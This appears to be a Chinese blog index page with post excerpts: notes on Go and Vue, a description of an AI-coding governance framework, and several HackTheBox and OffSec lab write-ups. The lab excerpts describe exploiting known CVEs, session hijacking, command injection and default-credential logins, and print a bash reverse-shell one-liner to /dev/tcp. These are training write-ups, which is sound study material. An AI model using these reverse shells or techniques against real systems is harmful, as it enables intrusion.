AI辅助开发大型项目管理框架
项目地址:ClaudeDevKit
AI辅助开发大型项目管理框架一、项目是什么ClaudeDevKit 是一个专为 AI 编程助手设计的项目治理框架。
一句话概括:让 AI 在帮你写代码的同时,不会乱改你的核心代码、不会破坏你的 API、不会忘记当前在做什么任务。
解决的问题
痛点
场景
ClaudeDevKit 的解决方案
代码被乱改
AI “顺手”修改了核心模块导致崩溃
三级文件保护机制
API 被破坏
AI 改了接口参数,调用方全挂
Breaking Change 自动检测
状态混乱
每次新会话都要重新解释项目
PROJECT.md 统一状态管理
提交不规范
AI 生成的 commit message 看不懂
Conventional Commits 自动生成
目标跑偏
AI 改着改着就偏离了当前任务
目标追踪系统
失败场景:没有 ClaudeDevKit 会怎样
缺失的机制
失败场景
后果
没有目标追踪
AI 在多个模块之间”游走”,改完 A 又去”优化” B
任务碎片化,主目标迟迟无法完成
没有保护机制
AI 在 refactor ...
go学习笔记(二)
goroutines and concurrency使用关键字go func()可以启动一个协程。
123456789101112131415161718package mainimport ( "fmt" "runtime")func say(s string) { for i := 0; i < 5; i++ { runtime.Gosched() fmt.Println(s) }}func main() { go say("world") // create a new goroutine say("hello") // current goroutine}
对于这个例子,其中runtime.Gosched()是显示指定让出cpu,执行另一个协程。该例子执行结果为
123456789helloworldhelloworldhelloworldhelloworldhe ...
go学习笔记(一)
参考资料:*Build Web Application with Golang*
开发环境vscode + go1.21.5 +wsl Ubuntu20.04
go项目结构分为GoPath和GoModules两种。
GoPath在GoPath模式下,所有和go项目相关的文件都在环境变量$GOPATH指向的路径下。在该路径下存在三个子路径:
1234$GOPATH├── src/ for source files whose suffix is .go, .c, .g, .s.├── pkg/ for compiled files whose suffix is .a.└── bin/ for executable files
src存放所有的 Go 源代码文件,pkg存放编译后的库文件(.a 文件),bin存放可执行文件。
这样导致的问题就是文件结构不自由并且多个项目的依赖管理困难。
注:$GOROOT和$GOPATH的区别,$GOPATH是go项目相关,$GOROOT则是Go的安装路径。
GoModules在 go1.11后推出了GoModules 模式,GoModules 模式主 ...
HTB靶机-Analytics
知识点(PS:这台机器似乎有bug,经常连不上)
正文首先扫描端口,22和80开放。
查看web界面
这里有一些输入框,但是没有后台交互。
只有login这里有登录界面
将这个url加入hosts,然后访问后台。
metabase是什么
Metabase 是一个开源的数据分析和数据探索工具,它允许用户通过直观的界面轻松地查询、可视化和共享数据。它的目标是使数据分析变得更加简单、快速和直观。
存在漏洞:CVE-2023-38646
影响版本:Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server
查看版本在影响范围内。
寻找poc,CVE-2023-38646
存在漏洞。
尝试反弹shell。
但是使用bash进行反弹的时候一直连不上
bash -i >& /dev/tcp/host/port 0>&1
换成 ...
offsec-Lab-Sar
知识点正文主页如下
路径扫描扫到robots.txt
然后发现存在sar2HTML 。
sar2HTML 是一个用于将 Linux 系统性能监控数据(通过 sar 命令收集的)转换为可视化的HTML报告的工具。它提供了一个直观的界面,以便用户可以更容易地分析和理解系统的性能表现。
搜索发现存在exp,sar2html 3.2.1 - ‘plot’ Remote Code Execution
直接执行poc
但是这里尝试后发现没办法反弹shell
利用php shell反弹shell在这了发现php可以正常上传,那么可以这里上传,通过刚才的命令行得到上传shenll 的路径。
看到路径为,http://ip/sar2HTML/sarDATA/uPLOAD/php-reverse-shell.php
在本地监听,访问该shell后反弹成功。
HTB靶机-RenderQuest
(待续)
知识点SSRF
正文web界面为
有一个提交窗口。
有两个参数use_remote和page。
这里存在一个SSRF,page控制的是url,use_remote是一个bool参数控制local或remote。
代码里
这里两个函数。
猜测两种方法,一个是用readRemoteFile读远程服务器上的shell。另一个是利用readFile读本地的flag。
第二个方法概率大一点。
先试一下第一个。修改page,当符合url格式时发现能访问外网如http://www.baidu.com, http://google.com。
在本地启动一个服务器,但是发现访问不到。
从第二个想法入手。查看源码。
这里使用rel, err := filepath.Rel(basePath, path)其中base是./,目的是限制路径为相对路径。否则可以直接通过绝对路径读到flag.txt了。
后面return !strings.HasPrefix(rel, ".."+string(filepath.Separator)) 如果相对路径中包含" ...
HTB靶机-CozyHosting
知识点
actuator未授权
session泄露
命令行注入
linux分隔符绕过
hash爆破
正文首先端口扫描
22和80开放。
web界面如下
除了login转向一个登陆界面,其他的都是静态的。
fuzz登录框,没有什么结果。每一次都会返回一个sessionid,猜测可以通过更改session获取登录态。
路径扫描后发现与有actuator和admin子路径。其中admin的状态是401,应该是未登录状态的原因。
打开actuator,很明显是actuator未授权,后台是java。
根据刚才的猜测,sessions是关键。但是还是先看看env。
里面的value都是星号,脱敏的方法。没有脱敏的条件。
还是看回sessions。
里面有一个不是未授权的session,将这个session替换,随即进入admin。
只有这个输入框可以交互,其他的都是静态的。
这里对输入框进行fuzz
所有为302状态返回的包,其Location返回都是类似报错。这个报错明显是ssh命令行出错,说明这里输入框的参数直接进入了命令行。可能存在命令注入。
在这里尝试反弹shel ...
HTB靶机-Keeper
对22和80两个端口进行扫描
web界面为
这个指向链接http://tickets.keeper.htb/rt/,但是发现访问不不了。
修改host,这样就能访问
这样出现了一个login界面
这里用到了一个request tracker的软件
Request Tracker,通常缩写为RT,是一种用Perl编写的工单跟踪事务跟踪管理系统软件,用于协调任务和管理在线用户社区之间的请求。RT 在 1996 年的第一个版本是由Jesse Vincent编写的,他后来成立了 Best Practical Solutions LLC 来分发、开发和支持该软件包。RT 是开源的,并在GNU 通用公共许可证下分发。
可以查到有以下漏洞,看了一下都比较难利用。
搜索Request Tracker的默认密码
尝试root password登录
登录成功!
然后要么找用户列表 尝试ssh,要么尝试命令执行和文件上传。
先看用户列表,除了管理员还有一个lnorgaard,邮箱为 lnorgaard ...
Vue学习笔记(二)
vite-vue-admin项目学习
左侧菜单栏左边菜单栏的定义由两部分控制,一个是接口 admin/info返回的 data.data.menus。另一个是路由router/index.ts的addRouter中。
admin/info:data.data.menus这个接口用于以用户为粒度,控制左侧菜单栏。在每次登陆后返回该用户可访问的菜单栏。
addRouter中则是菜单栏中各种子项的路由定义。
也就是说如果想要在左侧显示自定义的菜单栏,二者缺一不可。
在加载的时候stores/user.ts 路径下的menusFilter函数会结合两者(靠name来匹配,所以name唯一定义),在这里构建最终的菜单栏。其中id,title,icon以data.data.menus返回为准,方便自定义菜单样式。
123456item.meta.id = each.idif (each.title) { item.meta.title = each.title}if (each.icon) { item.meta.icon ...


